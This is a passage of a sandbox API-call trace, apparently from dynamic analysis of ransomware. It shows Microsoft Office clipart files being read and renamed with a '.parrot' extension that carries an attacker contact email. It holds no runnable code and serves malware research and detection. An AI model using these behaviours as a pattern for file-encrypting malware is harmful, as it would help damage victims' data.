lpNumberOfBytesRead=0x18ebe4*=0x38c, lpOverlapped=0x0) returned 1 [0156.442] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.443] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.443] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.447] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.447] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.449] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x987, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x987, lpOverlapped=0x0) returned 1 [0156.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.449] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.449] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.453] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.453] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.454] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.454] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x37d, lpOverlapped=0x0) returned 1 [0156.454] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.455] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.458] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.458] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.460] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x516, lpOverlapped=0x0) returned 1 [0156.460] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.460] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.461] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.464] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.464] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.809] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fd, lpOverlapped=0x0) returned 1 [0156.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.815] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.815] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.821] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.821] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x996, lpOverlapped=0x0) returned 1 [0156.821] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.822] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.827] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.827] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.829] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x90c, lpOverlapped=0x0) returned 1 [0156.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.829] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.829] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.834] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.834] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.836] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x581, lpOverlapped=0x0) returned 1 [0156.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.836] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.836] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.842] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.842] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.844] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.844] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15fa, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15fa, lpOverlapped=0x0) returned 1 [0156.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.845] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.852] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.852] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.853] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.853] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ef, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ef, lpOverlapped=0x0) returned 1 [0156.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.859] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.859] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.898] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.898] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x97f, lpOverlapped=0x0) returned 1 [0156.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.899] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.899] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.904] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.904] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.922] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x579, lpOverlapped=0x0) returned 1 [0156.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.923] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.929] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.930] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.932] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4abc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4abc, lpOverlapped=0x0) returned 1 [0156.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.936] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.936] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.943] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.944] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.946] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.947] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1653, lpOverlapped=0x0) returned 1 [0156.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.948] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.948] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.953] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0156.954] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0156.975] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.975] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x136b, lpOverlapped=0x0) returned 1 [0156.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0156.976] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0156.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0156.977] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0156.983] 